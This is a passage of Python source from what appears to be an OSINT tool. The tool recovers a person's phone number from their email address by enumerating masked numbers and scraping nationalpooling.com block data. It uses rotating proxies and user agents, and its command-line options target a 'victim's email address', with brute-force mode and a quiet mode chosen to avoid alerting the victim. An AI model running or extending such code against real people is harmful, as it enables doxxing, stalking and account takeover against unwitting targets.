regex_assigned = r'\s[0-9A-Z\s]{4}\t.*\t[A-Z\-\s]+\t[0-9\\]*[\t\s]+AS'
# Area code + exchange
regex_area_code_exchange = re.sub(
"X", "[0-9]{1}", "(" + masked_phone[:3] + "-" + masked_phone[3:6] + ")")
# Format: [state, area_code-exchange]
regex_possible_area_codes = re.findall(
r"([A-Z]{2})\s\t" + regex_area_code_exchange + regex_assigned, file)
remaining_unsolved_digits = masked_phone[7:].count("X")
masked_phone_formatted = masked_phone[7:].replace("X", "{}")
for possible_area_codes in regex_possible_area_codes:
state = possible_area_codes[0]
area_code = possible_area_codes[1].split("-")[0]
exchange = possible_area_codes[1].split("-")[1]
if area_code not in poolingCache:
cache_valid_block_numbers(state, area_code)
if masked_phone[6] == 'X':
# Check for available block numbers for that area code and exchange
if area_code in poolingCache and exchange in poolingCache[area_code]:
block_numbers = poolingCache[area_code][exchange]['blockNumbers']
else:
block_numbers = ["0", "1", "2", "3",
"4", "5", "6", "7", "8", "9"]
else:
# User provided block_number
if \
area_code in poolingCache \
and exchange in poolingCache[area_code] \
and masked_phone[6] not in poolingCache[area_code][exchange]['blockNumbers']:
# User provided invalid block number
block_numbers = []
else:
block_numbers = [masked_phone[6]]
for block_number in block_numbers:
# Add the rest of random subscriber number digits
for x in product("0123456789", repeat=remaining_unsolved_digits):
possible_phone_numbers.append(
area_code + exchange + block_number + masked_phone_formatted.format(*x))
return possible_phone_numbers
def cache_valid_block_numbers(state, area_code):
"""
Cache the valid block numbers for state and area code
:param state: State
:param area_code: Area code
:return:
"""
global userAgents
global proxyList
global poolingCache
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
# We need the cookies or it will error
session.get(
"https://www.nationalpooling.com/pas/blockReportSelect.do?reloadModel=N")
response = session.post(
"https://www.nationalpooling.com/pas/blockReportDisplay.do",
headers={
"Upgrade-Insecure-Requests": "1",
"User-Agent": random.choice(userAgents),
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"Origin": "https://www.nationalpooling.com",
"Content-Type": "application/x-www-form-urlencoded",
"DNT": "1"
},
data="stateAbbr=" + state + "&npaId=" + area_code +
"&rtCntrId=" + "ALL" + "&reportType=" + "3",
proxies=proxy,
verify=verifyProxy
)
soup = BeautifulSoup(response.text, 'html.parser')
available_block_numbers = []
area_code_cells = soup.select("form table td:nth-of-type(1)")
for area_code_cell in area_code_cells:
if area_code_cell.string and area_code_cell.string.strip() == area_code:
exchange = area_code_cell.next_sibling.next_sibling.string.strip()
block_number = area_code_cell.next_sibling.next_sibling.next_sibling.next_sibling.string.strip()
if area_code not in poolingCache:
poolingCache[area_code] = {}
poolingCache[area_code][exchange] = {}
poolingCache[area_code][exchange]['blockNumbers'] = []
elif exchange not in poolingCache[area_code]:
poolingCache[area_code][exchange] = {}
poolingCache[area_code][exchange]['blockNumbers'] = []
poolingCache[area_code][exchange]['blockNumbers'].append(
block_number)
# Temporarily we store the invalid block_numbers
for area_code in poolingCache:
# Let's switch invalid block_numbers for valid ones
for exchange in poolingCache[area_code]:
poolingCache[area_code][exchange]['blockNumbers'] = \
[
n for n in ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
if n not in poolingCache[area_code][exchange]['blockNumbers']
]
def set_proxy_list():
global proxyList
proxy_file = open(args.proxies, "r")
if not proxy_file.mode == 'r':
proxy_file.close()
logger.error("%sCould not read file %s %s", RED, args.proxies, ENDC)
file_content = proxy_file.read()
file_content = filter(None, file_content)
# Remove last \n if needed
proxy_list_not_formatted = file_content.split("\n")
proxy_file.close()
for proxy_not_formatted in proxy_list_not_formatted:
separator_position = proxy_not_formatted.find("://")
proxyList.append(
{proxy_not_formatted[:separator_position]: proxy_not_formatted[separator_position+3:]})
parser = argparse.ArgumentParser(
description='An OSINT tool to find phone numbers associated to email addresses')
subparsers = parser.add_subparsers(help='commands')
scrape_parser = subparsers.add_parser(
'scrape', help='scrape online services for phone number digits')
scrape_parser.add_argument(
"-e", required=True, metavar="EMAIL", dest="email", help="victim's email address")
scrape_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies",
help="a file with a list of https proxies to use. Format: https://127.0.0.1:8080")
scrape_parser.add_argument("-q", dest="quiet", action="store_true",
help="scrape services that do not alert the victim")
generator_parser = subparsers.add_parser(
'generate', help="generate all valid phone numbers based on NANPA's public records")
generator_parser.add_argument("-m", required=True, metavar="MASK",
dest="mask", help="a masked 10-digit US phone number as in: 555XXX1234")
generator_parser.add_argument(
"-o", metavar="FILE", dest="file", help="outputs the list to a dictionary")
generator_parser.add_argument(
"-q", dest="quiet", action="store_true", help="use services that do not alert the victim")
generator_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies",
help="a file with a list of https proxies to use. Format: https://127.0.0.1:8080")
bruteforce_parser = subparsers.add_parser(
'bruteforce', help='bruteforce using online services to find the phone number')
bruteforce_parser.add_argument(
"-e", required=True, metavar="EMAIL", dest="email", help="victim's email address")
bruteforce_parser.add_argument("-m", metavar="MASK", dest="mask",
help="a masked, 10-digit US phone number as in: 555XXX1234")
bruteforce_parser.add_argument(
"-d", metavar="DICTIONARY", dest="file", help="a file with a list of numbers to try")
bruteforce_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies",